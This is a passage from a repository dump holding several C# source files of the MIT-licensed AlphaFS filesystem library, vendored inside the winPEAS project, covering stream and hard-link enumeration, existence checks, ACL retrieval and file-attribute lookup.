(!string.Equals(\"NTFS\", new DriveInfo(path).DriveFormat, StringComparison.OrdinalIgnoreCase))\n\n                     throw new NotSupportedException(string.Format(CultureInfo.InvariantCulture, \"The drive does not support NTFS encryption: [{0}]\", Path.GetPathRoot(path, false)));\n\n                  break;\n\n\n               case Win32Errors.ERROR_FILE_READ_ONLY:\n\n                  if (isFolder)\n                     throw new DirectoryReadOnlyException(path);\n\n                  else\n                     throw new FileReadOnlyException(path);\n\n\n               default:\n                  NativeError.ThrowException(lastError, isFolder, path);\n                  break;\n            }\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.EnumerateAlternateDataStreamsCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Enumerates the streams of type :$DATA from the specified file or directory.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"isFolder\">When <c>true</c> indicates the source is a directory; file otherwise.</param>\n      /// <param name=\"path\">The path to the file or directory to enumerate streams of.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>An enumeration of <see cref=\"AlternateDataStreamInfo\"/> instances.</returns>\n      [SecurityCritical]\n      internal static IEnumerable<AlternateDataStreamInfo> EnumerateAlternateDataStreamsCore(KernelTransaction transaction, bool isFolder, string path, PathFormat pathFormat)\n      {\n         var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.CheckInvalidPathChars | GetFullPathOptions.CheckAdditional);\n\n         using (var buffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(typeof(NativeMethods.WIN32_FIND_STREAM_DATA))))\n\n         using (var safeFindFileHandle = FindFirstStreamNative(transaction, pathLp, buffer))\n         {\n            if (null != safeFindFileHandle)\n               while (true)\n               {\n                  yield return new AlternateDataStreamInfo(pathLp, buffer.PtrToStructure<NativeMethods.WIN32_FIND_STREAM_DATA>(0));\n\n                  var success = NativeMethods.FindNextStreamW(safeFindFileHandle, buffer);\n\n                  var lastError = Marshal.GetLastWin32Error();\n\n                  if (!success)\n                  {\n                     if (lastError == Win32Errors.ERROR_HANDLE_EOF)\n                        break;\n\n                     NativeError.ThrowException(lastError, isFolder, pathLp);\n                  }\n               }\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.EnumerateHardLinksCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.Runtime.InteropServices;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>[AlphaFS] Creates an enumeration of all the hard links to the specified <paramref name=\"path\"/>.</summary>\n      /// <returns>An enumerable collection of <see cref=\"string\"/> of all the hard links to the specified <paramref name=\"path\"/></returns>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The name of the file.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      internal static IEnumerable<string> EnumerateHardLinksCore(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         if (!NativeMethods.IsAtLeastWindowsVista)\n            throw new PlatformNotSupportedException(new Win32Exception((int) Win32Errors.ERROR_OLD_WIN_VERSION).Message);\n\n         var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n         // Default buffer length, will be extended if needed, although this should not happen.\n         uint length = NativeMethods.MaxPathUnicode;\n         var builder = new StringBuilder((int) length);\n\n\n      getFindFirstFileName:\n\n         using (var safeHandle = null == transaction\n\n            // FindFirstFileNameW() / FindFirstFileNameTransactedW() / FindNextFileNameW()\n            // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n            // 2017-05-30: FindFirstFileNameW() MSDN confirms LongPath usage: Starting with Windows 10, version 1607\n\n            ? NativeMethods.FindFirstFileNameW(pathLp, 0, out length, builder)\n\n            : NativeMethods.FindFirstFileNameTransactedW(pathLp, 0, out length, builder, transaction.SafeHandle))\n         {\n            var lastError = Marshal.GetLastWin32Error();\n\n            if (!NativeMethods.IsValidHandle(safeHandle, false))\n            {\n               switch ((uint) lastError)\n               {\n                  case Win32Errors.ERROR_MORE_DATA:\n                     builder = new StringBuilder((int) length);\n                     goto getFindFirstFileName;\n\n                  default:\n                     // If the function fails, the return value is INVALID_HANDLE_VALUE.\n                     NativeError.ThrowException(lastError, pathLp);\n                     break;\n               }\n            }\n\n            yield return builder.ToString();\n\n\n            do\n            {\n               while (!NativeMethods.FindNextFileNameW(safeHandle, out length, builder))\n               {\n                  lastError = Marshal.GetLastWin32Error();\n\n                  switch ((uint) lastError)\n                  {\n                     // We've reached the end of the enumeration.\n                     case Win32Errors.ERROR_HANDLE_EOF:\n                        yield break;\n\n                     case Win32Errors.ERROR_MORE_DATA:\n                        builder = new StringBuilder((int) length);\n                        continue;\n\n                     default:\n                        // If the function fails, the return value is zero (0).\n                        NativeError.ThrowException(lastError);\n                        break;\n                  }\n               }\n\n\n               yield return builder.ToString();\n\n            } while (true);\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.ExistsCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Determines whether the specified file or directory exists.</summary>\n      /// <remarks>\n      ///   <para>MSDN: .NET 3.5+: Trailing spaces are removed from the end of the <paramref name=\"path\"/> parameter before checking whether\n      ///   the directory exists.</para>\n      ///   <para>The Exists method returns <c>false</c> if any error occurs while trying to determine if the specified file\n      ///   exists.</para>\n      ///   <para>This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters,\n      ///   </para>\n      ///   <para>a failing or missing disk, or if the caller does not have permission to read the file.</para>\n      ///   <para>The Exists method should not be used for path validation,\n      ///   this method merely checks if the file specified in path exists.</para>\n      ///   <para>Passing an invalid path to Exists returns false.</para>\n      ///   <para>Be aware that another process can potentially do something with the file in between\n      ///   the time you call the Exists method and perform another operation on the file, such as Delete.</para>\n      /// </remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"isFolder\">Specifies that <paramref name=\"path\"/> is a file or directory.</param>\n      /// <param name=\"path\">The file to check.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <returns>\n      ///   <para>Returns <c>true</c> if the caller has the required permissions</para>\n      ///   <para>and <paramref name=\"path\"/> contains the name of an existing file or directory; otherwise, <c>false</c></para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1031:DoNotCatchGeneralExceptionTypes\")]\n      [SecurityCritical]\n      internal static bool ExistsCore(KernelTransaction transaction, bool isFolder, string path, PathFormat pathFormat)\n      {\n         // Will be caught later and be thrown as an ArgumentException or ArgumentNullException.\n         // Let's take a shorter route, preventing an Exception from being thrown altogether.\n         if (Utils.IsNullOrWhiteSpace(path))\n            return false;\n\n\n         // Check for driveletter, such as: \"C:\"\n         var pathRp = Path.GetRegularPathCore(path, GetFullPathOptions.None, false);\n\n         if (pathRp.Length == 2 && Path.IsLogicalDriveCore(pathRp, true, PathFormat.LongFullPath))\n            path = pathRp;\n\n\n         try\n         {\n            var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.CheckInvalidPathChars | GetFullPathOptions.ContinueOnNonExist);\n\n            var attrs = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA();\n\n            var dataInitialised = FillAttributeInfoCore(transaction, pathLp, ref attrs, false, true);\n\n            if (dataInitialised == Win32Errors.ERROR_INVALID_NAME || dataInitialised == Win32Errors.ERROR_INVALID_PARAMETER)\n            {\n               // Issue #288: Directory.Exists on root drive problem has come back with recent updates\n               //\n               // ERROR_INVALID_NAME     : A relative path with a long path prefix: FindFirstFileEx(\"\\\\\\\\?\\\\C:qr4bxbzb.k1v-exists\", ...\n               // ERROR_INVALID_PARAMETER: A drive path with a long path prefix   : GetFileAttributesTransacted(\"\\\\?\\C:\\\", ...\n\n\n               dataInitialised = FillAttributeInfoCore(transaction, pathRp, ref attrs, false, true);\n            }\n\n\n            var attrIsFolder = IsDirectory(attrs.dwFileAttributes);\n\n            return dataInitialised == Win32Errors.ERROR_SUCCESS && (isFolder ? attrIsFolder : !attrIsFolder);\n         }\n         catch\n         {\n            return false;\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.FindAllStreamsCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Collections.ObjectModel;\nusing System.Linq;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      [SecurityCritical]\n      internal static long FindAllStreamsCore(KernelTransaction transaction, string pathLp)\n      {\n         var streamSizes = new Collection<long>();\n\n         using (var buffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(typeof(NativeMethods.WIN32_FIND_STREAM_DATA))))\n         using (var safeFindFileHandle = FindFirstStreamNative(transaction, pathLp, buffer))\n         {\n            if (null != safeFindFileHandle)\n               while (true)\n               {\n                  streamSizes.Add(buffer.PtrToStructure<NativeMethods.WIN32_FIND_STREAM_DATA>(0).StreamSize);\n\n                  var success = NativeMethods.FindNextStreamW(safeFindFileHandle, buffer);\n\n                  var lastError = Marshal.GetLastWin32Error();\n\n                  if (!success)\n                  {\n                     if (lastError == Win32Errors.ERROR_HANDLE_EOF)\n                        break;\n\n                     NativeError.ThrowException(lastError, pathLp);\n                  }\n               }\n         }\n         \n         return streamSizes.Sum();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetAccessControlCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\nusing System.Security.AccessControl;\nusing Alphaleonis.Win32.Security;\nusing Microsoft.Win32.SafeHandles;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Gets an <see cref=\"ObjectSecurity\"/> object for a particular file or directory.</summary>\n      /// <returns>An <see cref=\"ObjectSecurity\"/> object that encapsulates the access control rules for the file or directory described by the <paramref name=\"path\"/> parameter.</returns>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <typeparam name=\"T\">Generic type parameter.</typeparam>\n      /// <param name=\"isFolder\">Specifies that <paramref name=\"path\"/> is a file or directory.</param>\n      /// <param name=\"path\">The path to a file or directory containing a <see cref=\"FileSecurity\"/>/<see cref=\"DirectorySecurity\"/> object that describes the file's/directory's access control list (ACL) information.</param>\n      /// <param name=\"includeSections\">One (or more) of the <see cref=\"AccessControlSections\"/> values that specifies the type of access control list (ACL) information to receive.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Usage\", \"CA2202:Do not dispose objects multiple times\", Justification = \"Disposing is controlled.\")]\n      [SecurityCritical]\n      internal static T GetAccessControlCore<T>(bool isFolder, string path, AccessControlSections includeSections, PathFormat pathFormat)\n      {\n         var securityInfo = CreateSecurityInformation(includeSections);\n\n\n         // We need the SE_SECURITY_NAME privilege enabled to be able to get the SACL descriptor.\n         // So we enable it here for the remainder of this function.\n\n         PrivilegeEnabler privilege = null;\n\n         if ((includeSections & AccessControlSections.Audit) != 0)\n            privilege = new PrivilegeEnabler(Privilege.Security);\n\n         using (privilege)\n         {\n            IntPtr pSidOwner, pSidGroup, pDacl, pSacl;\n            SafeGlobalMemoryBufferHandle pSecurityDescriptor;\n\n            var pathLp = Path.GetExtendedLengthPathCore(null, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n\n            // Get/SetNamedSecurityInfo does not work with a handle but with a path, hence does not honor the privileges.\n            // It magically does since Windows Server 2012 / 8 but not in previous OS versions.\n\n            var lastError = Security.NativeMethods.GetNamedSecurityInfo(pathLp, SE_OBJECT_TYPE.SE_FILE_OBJECT, securityInfo, out pSidOwner, out pSidGroup, out pDacl, out pSacl, out pSecurityDescriptor);\n\n\n            // When GetNamedSecurityInfo() fails with ACCESS_DENIED, try again using GetSecurityInfo().\n\n            if (lastError == Win32Errors.ERROR_ACCESS_DENIED)\n            {\n               using (var handle = CreateFileCore(null, false, pathLp, ExtendedFileAttributes.BackupSemantics, null, FileMode.Open, FileSystemRights.Read, FileShare.Read, false, false, PathFormat.LongFullPath))\n\n                  return GetAccessControlHandleCore<T>(true, isFolder, handle, includeSections, securityInfo);\n            }\n\n            return GetSecurityDescriptor<T>(lastError, isFolder, pathLp, pSecurityDescriptor);\n         }\n      }\n\n\n      internal static T GetAccessControlHandleCore<T>(bool internalCall, bool isFolder, SafeFileHandle handle, AccessControlSections includeSections, SECURITY_INFORMATION securityInfo)\n      {\n         if (!internalCall)\n            securityInfo = CreateSecurityInformation(includeSections);\n\n\n         // We need the SE_SECURITY_NAME privilege enabled to be able to get the SACL descriptor.\n         // So we enable it here for the remainder of this function.\n         \n         PrivilegeEnabler privilege = null;\n\n         if (!internalCall && (includeSections & AccessControlSections.Audit) != 0)\n            privilege = new PrivilegeEnabler(Privilege.Security);\n         \n         using (privilege)\n         {\n            IntPtr pSidOwner, pSidGroup, pDacl, pSacl;\n            SafeGlobalMemoryBufferHandle pSecurityDescriptor;\n\n            var lastError = Security.NativeMethods.GetSecurityInfo(handle, SE_OBJECT_TYPE.SE_FILE_OBJECT, securityInfo, out pSidOwner, out pSidGroup, out pDacl, out pSacl, out pSecurityDescriptor);\n\n            return GetSecurityDescriptor<T>(lastError, isFolder, null, pSecurityDescriptor);\n         }\n      }\n\n\n      private static SECURITY_INFORMATION CreateSecurityInformation(AccessControlSections includeSections)\n      {\n         var securityInfo = SECURITY_INFORMATION.None;\n\n\n         if ((includeSections & AccessControlSections.Access) != 0)\n            securityInfo |= SECURITY_INFORMATION.DACL_SECURITY_INFORMATION;\n\n         if ((includeSections & AccessControlSections.Audit) != 0)\n            securityInfo |= SECURITY_INFORMATION.SACL_SECURITY_INFORMATION;\n\n         if ((includeSections & AccessControlSections.Group) != 0)\n            securityInfo |= SECURITY_INFORMATION.GROUP_SECURITY_INFORMATION;\n\n         if ((includeSections & AccessControlSections.Owner) != 0)\n            securityInfo |= SECURITY_INFORMATION.OWNER_SECURITY_INFORMATION;\n         \n\n         return securityInfo;\n      }\n\n\n      private static T GetSecurityDescriptor<T>(uint lastError, bool isFolder, string path, SafeGlobalMemoryBufferHandle securityDescriptor)\n      {\n         ObjectSecurity objectSecurity;\n\n         using (securityDescriptor)\n         {\n            if (lastError == Win32Errors.ERROR_FILE_NOT_FOUND || lastError == Win32Errors.ERROR_PATH_NOT_FOUND)\n               lastError = isFolder ? Win32Errors.ERROR_PATH_NOT_FOUND : Win32Errors.ERROR_FILE_NOT_FOUND;\n\n\n            // MSDN: GetNamedSecurityInfo() / GetSecurityInfo(): If the function fails, the return value is zero.\n            if (lastError != Win32Errors.ERROR_SUCCESS)\n               NativeError.ThrowException(lastError, !Utils.IsNullOrWhiteSpace(path) ? path : null);\n\n            if (!NativeMethods.IsValidHandle(securityDescriptor, false))\n               throw new IOException(Resources.Returned_Invalid_Security_Descriptor);\n\n\n            var length = Security.NativeMethods.GetSecurityDescriptorLength(securityDescriptor);\n\n            // Seems not to work: Method .CopyTo: length > Capacity, so an Exception is thrown.\n            //byte[] managedBuffer = new byte[length];\n            //pSecurityDescriptor.CopyTo(managedBuffer, 0, (int) length);\n\n            var managedBuffer = securityDescriptor.ToByteArray(0, (int) length);\n\n            objectSecurity = isFolder ? (ObjectSecurity) new DirectorySecurity() : new FileSecurity();\n            objectSecurity.SetSecurityDescriptorBinaryForm(managedBuffer);\n         }\n\n         return (T) (object) objectSecurity;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetAttributesExCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class File\n   {\n      /// <summary>Gets the <see cref=\"FileAttributes\"/> or <see cref=\"NativeMethods.WIN32_FILE_ATTRIBUTE_DATA\"/> of the specified file or directory.</summary>\n      /// <returns>The <see cref=\"FileAttributes\"/> or <see cref=\"NativeMethods.WIN32_FILE_ATTRIBUTE_DATA\"/> of the specified file or directory.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <typeparam name=\"T\">Generic type parameter.</typeparam>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the file or directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <param name=\"returnErrorOnNotFound\"></param>\n      [SuppressMessage(\"Microsoft.Interoperability\", \"CA1404:CallGetLastErrorImmediatelyAfterPInvoke\", Justification = \"Marshal.GetLastWin32Error() is manipulated.\")]\n      [SecurityCritical]\n      internal static T GetAttributesExCore<T>(KernelTransaction transaction, string path, PathFormat pathFormat, bool returnErrorOnNotFound)\n      {\n         if (pathFormat == PathFormat.RelativePath)\n            Path.CheckSupportedPathFormat(path, true, true);\n\n         var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.CheckInvalidPathChars);\n\n         var data = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA();\n         var dataInitialised = FillAttributeInfoCore(transaction, pathLp, ref data, false, returnErrorOnNotFound);\n\n         if (dataInitialised != Win32Errors.ERROR_SUCCESS)\n            NativeError.ThrowException(dataInitialised, pathLp);\n\n         return (T) (typeof(T) == typeof(FileAttributes) ? (object) data.dwFileAttributes : data);\n      }\n\n      /// <summary>\n      ///   Calls NativeMethods.GetFileAttributesEx to retrieve WIN32_FILE_ATTRIBUTE_DATA.\n      ///   Note that classes should use -1 as the uninitialized state for dataInitialized when relying on this method.\n      /// </summary>\n      /// <remarks>No path (null, empty string) checking or normalization is performed.</remarks>\n      /// <param name=\"transaction\">.</param>\n      /// <param name=\"pathLp\">.</param>\n      /// <param name=\"win32AttrData\">[in,out].</param>\n      /// <param name=\"tryAgain\">.</param>\n      /// <param name=\"returnErrorOnNotFound\">.</param>\n      /// <returns>0 on success, otherwise a Win32 error code.</returns>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1031:DoNotCatchGeneralExceptionTypes\")]\n      [SecurityCritical]\n      internal static int FillAttributeInfoCore(KernelTransaction transaction, string pathLp, ref NativeMethods.WIN32_FILE_ATTRIBUTE_DATA win32AttrData, bool tryAgain, bool returnErrorOnNotFound)\n      {\n         var lastError = (int) Win32Errors.NO_ERROR;\n\n         #region Try Again\n\n         // Someone has a handle to the file open, or other error.\n         if (tryAgain)\n         {\n            NativeMethods.WIN32_FIND_DATA win32FindData;\n\n            using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n            {\n               var handle = FileSystemInfo.FindFirstFileNative(transaction, pathLp, NativeMethods.FindexInfoLevel, NativeMethods.FINDEX_SEARCH_OPS.SearchNameMatch, NativeMethods.UseLargeCache, out lastError, out win32FindData);\n\n               if (null == handle)\n               {\n                  switch ((uint) lastError)\n                  {\n                     case Win32Errors.ERROR_INVALID_NAME:\n                     case Win32Errors.ERROR_FILE_NOT_FOUND: // On files.\n                     case Win32Errors.ERROR_PATH_NOT_FOUND: // On folders.\n                     case Win32Errors.ERROR_NOT_READY:      // DeviceNotReadyException: Floppy device or network drive not ready.\n\n                        if (!returnErrorOnNotFound)\n                        {\n                           // Return default value for backward compatibility.\n                           lastError = (int) Win32Errors.NO_ERROR;\n\n                           win32AttrData.dwFileAttributes = NativeMethods.InvalidFileAttributes;\n                        }\n\n                        break;\n                  }\n\n                  return lastError;\n               }\n            }\n\n            // Copy the attribute information.\n            win32AttrData = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(win32FindData);\n         }\n\n         #endregion // Try Again\n\n         else\n         {\n            using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n            {\n               if (!(null == transaction || !NativeMethods.IsAtLeastWindowsVista\n\n                  // GetFileAttributesEx() / GetFileAttributesTransacted()\n                  // 2013-01-13: MSDN confirms LongPath usage.\n\n                  ? NativeMethods.GetFileAttributesEx(pathLp, NativeMethods.GET_FILEEX_INFO_LEVELS.GetFileExInfoStandard, out win32AttrData)\n\n                  : NativeMethods.GetFileAttributesTransacted(pathLp, NativeMethods.GET_FILEEX_INFO_LEVELS.GetFileExInfoStandard, out win32AttrData, transaction.SafeHandle)))\n               {\n                  lastError = Marshal.GetLastWin32Error();\n\n                  switch ((uint) lastError)\n                  {\n                     case Win32Errors.ERROR_FILE_NOT_FOUND: // On files.\n                     case Win32Errors.ERROR_PATH_NOT_FOUND: // On folders.\n                     case Win32Errors.ERROR_NOT_READY:      // DeviceNotReadyException: Floppy device or network drive not ready.\n\n                        // In case someone latched onto the file. Take the perf hit only for failure.\n                        return FillAttributeInfoCore(transaction, pathLp, ref win32AttrData, true, returnErrorOnNotFound);\n                  }\n\n\n                  if (!returnErrorOnNotFound)\n                  {\n                     // Return default value for backward compatibility.\n                     lastError = (int) Win32Errors.NO_ERROR;\n\n                     win32AttrData.dwFileAttributes = NativeMethods.InvalidFileAttributes;\n                  }\n               }\n            }\n         }\n\n         return lastError;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.GetChangeTimeCore.cs",
